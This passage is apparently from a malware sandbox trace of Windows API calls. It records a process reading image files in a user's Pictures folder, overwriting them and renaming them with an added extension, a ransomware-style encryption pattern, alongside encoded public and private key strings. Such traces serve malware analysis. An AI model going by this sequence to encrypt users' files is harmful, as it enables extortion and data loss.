Kdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.575] GetCurrentThreadId () returned 0xa30 [0085.575] GetCurrentThreadId () returned 0xa30 [0085.575] GetCurrentThreadId () returned 0xa30 [0085.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.576] GetCurrentThreadId () returned 0xa30 [0085.576] GetCurrentThreadId () returned 0xa30 [0085.576] GetCurrentThreadId () returned 0xa30 [0085.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\9jjfu1ys.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.576] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.576] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.576] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x11c01 [0085.576] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.577] ReadFile (in: hFile=0x110, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x11c01, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x11c01, lpOverlapped=0x0) returned 1 [0085.579] CloseHandle (hObject=0x110) returned 1 [0085.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\9jjfu1ys.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.583] WriteFile (in: hFile=0x110, lpBuffer=0x1f11f70*, nNumberOfBytesToWrite=0x11c01, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f11f70*, lpNumberOfBytesWritten=0x18f6ac*=0x11c01, lpOverlapped=0x0) returned 1 [0085.605] CloseHandle (hObject=0x110) returned 1 [0085.608] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\9jjfu1ys.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\9jjfu1ys.jpg.zv7un")) returned 1 [0085.609] GetCurrentThreadId () returned 0xa30 [0085.609] GetCurrentThreadId () returned 0xa30 [0085.609] GetCurrentThreadId () returned 0xa30 [0085.609] GetCurrentThreadId () returned 0xa30 [0085.609] GetCurrentThreadId () returned 0xa30 [0085.609] GetCurrentThreadId () returned 0xa30 [0085.609] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf33fc80, ftCreationTime.dwHighDateTime=0x1d5dee7, ftLastAccessTime.dwLowDateTime=0xbcbc47e0, ftLastAccessTime.dwHighDateTime=0x1d5e6e6, ftLastWriteTime.dwLowDateTime=0xbcbc47e0, ftLastWriteTime.dwHighDateTime=0x1d5e6e6, nFileSizeHigh=0x0, nFileSizeLow=0xdf17, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Rkv tdZAdg61X2zGJw.bmp", cAlternateFileName="RKVTDZ~1.BMP")) returned 1 [0085.609] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.609] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\rkv tdzadg61x2zgjw.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf33fc80, ftCreationTime.dwHighDateTime=0x1d5dee7, ftLastAccessTime.dwLowDateTime=0xbcbc47e0, ftLastAccessTime.dwHighDateTime=0x1d5e6e6, ftLastWriteTime.dwLowDateTime=0xbcbc47e0, ftLastWriteTime.dwHighDateTime=0x1d5e6e6, nFileSizeHigh=0x0, nFileSizeLow=0xdf17)) returned 1 [0085.609] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\rkv tdzadg61x2zgjw.bmp")) returned 0x20 [0085.609] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\Rkv tdZAdg61X2zGJw.bmp", dwFileAttributes=0x80) returned 1 [0085.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.613] GetCurrentThreadId () returned 0xa30 [0085.613] GetCurrentThreadId () returned 0xa30 [0085.613] GetCurrentThreadId () returned 0xa30 [0085.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 